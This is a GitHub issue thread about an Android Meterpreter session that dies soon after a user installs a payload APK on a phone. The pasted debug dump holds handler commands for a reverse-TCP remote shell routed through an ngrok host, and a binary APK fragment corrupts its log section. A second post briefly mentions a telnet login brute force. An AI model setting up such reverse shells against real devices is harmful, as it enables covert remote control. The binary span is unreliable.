127.0.0.1 - Meterpreter session 1 closed. Reason: Died

[devdarius]

I have a problem with session, I install exploit apk on my phone and open it. After 5-10 seconds my session died. I tested it with no av too, and on kali linux. Same result.

Debug info:

`## Module/Datastore

The following global/module datastore, and database setup was configured before the issue occurred:

Collapse

[framework/ui/console]
ActiveModule=exploit/multi/handler

[multi/handler]
PAYLOAD=android/meterpreter/reverse_tcp
WORKSPACE=
VERBOSE=false
WfsDelay=2
EnableContextEncoding=false
ContextInformationFile=
DisablePayloadHandler=false
ExitOnSession=true
ListenerTimeout=0
LHOST=5.tcp.eu.ngrok.io
LPORT=5522

Database Configuration

The database contains the following information:

Collapse

Session Type: postgresql selected, no connection

History

The following commands were ran during the session and before this issue occurred:

Collapse

32     use exploit/multi/handler
33     set payload android/meterpreter/reverse_tcp
34     set LHOST 5.tcp.eu.ngrok.io
35     set LPORT 5522
36     exploit
37     debug

Framework Errors

The following framework errors occurred before the issue occurred:

Collapse

[06/26/2022 15:45:03] [e(0)] core: Dependency for windows/x64/encrypted_reverse_tcp is not supported
[06/26/2022 15:45:04] [e(0)] core: Dependency for windows/encrypted_reverse_tcp is not supported
[06/26/2022 15:45:46] [e(0)] core: Failed to connect to the database: No database YAML file
[06/26/2022 15:45:50] [e(0)] core: Dependency for windows/x64/encrypted_shell_reverse_tcp is not supported
[06/26/2022 15:45:50] [e(0)] core: Dependency for windows/encrypted_shell_reverse_tcp is not supported
[06/26/2022 15:45:52] [e(0)] core: LoadError cannot load such file -- pty
[06/26/2022 15:45:52] [e(0)] core: LoadError cannot load such file -- pty
[06/26/2022 15:45:52] [e(0)] core: LoadError cannot load such file -- pty
[06/26/2022 15:45:52] [e(0)] core: Dependency for windows/x64/encrypted_reverse_tcp is not supported
[06/26/2022 15:45:53] [e(0)] core: Dependency for windows/encrypted_reverse_tcp is not supported

Web Service Errors

The following web service errors occurred before the issue occurred:

Collapse

msf-ws.log does not exist.

Framework Logs�r�r☺P�,t�FHPK��T

classes.dex��]h∟U¶��|��nvg'_M����Vۦ�~��v��&M v�♠Z�M��tw�L�̬��M�/ iD7 �T���▼�♣�♠�A♠∟�(>X���TD��{g6������9s�g�=���-��ѽ���>|��ίn���΍�/~���\��↨���↕U�hyfĤ�7☻�$♣�M�@���↓R�����↑\� ◄

</details>


##  Web Service Logs

The following web service logs were recorded before the issue occurred:
<details>
<summary>Collapse</summary>

msf-ws.log does not exist.

</details>


##  Version/Install

The versions and install method of your Metasploit setup:
<details>
<summary>Collapse</summary>

Framework: 6.2.5-dev-911092007c3d3d3341fbd6d6b8c9fa156f8189a3 Ruby: ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x64-mingw32] Install Root: C:/metasploit-framework/embedded/framework Session Type: postgresql selected, no connection Install Method: Omnibus Installer

</details>

`

Any solution?

[tangze-Asuka]

Excuse me. When I blast tenlnet, it shows [-] 10..1.:23 - LOGIN FAILED: msfadmin:131313 (Unable to Connect: ). What does it mean?

[bcoles]

Excuse me. When I blast tenlnet, it shows [-] 10..1.:23 - LOGIN FAILED: msfadmin:131313 (Unable to Connect: ). What does it mean?

It means Metasploit could not establish a TCP connection to 10..1.:23 on port 23.

[github-actions[bot]]

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here. If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.

[github-actions[bot]]

Hi again!

It’s been 60 days since anything happened on this issue, so we are going to close it. Please keep in mind that I’m only a robot, so if I’ve closed this issue in error please feel free to reopen this issue or create a new one if you need anything else.

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.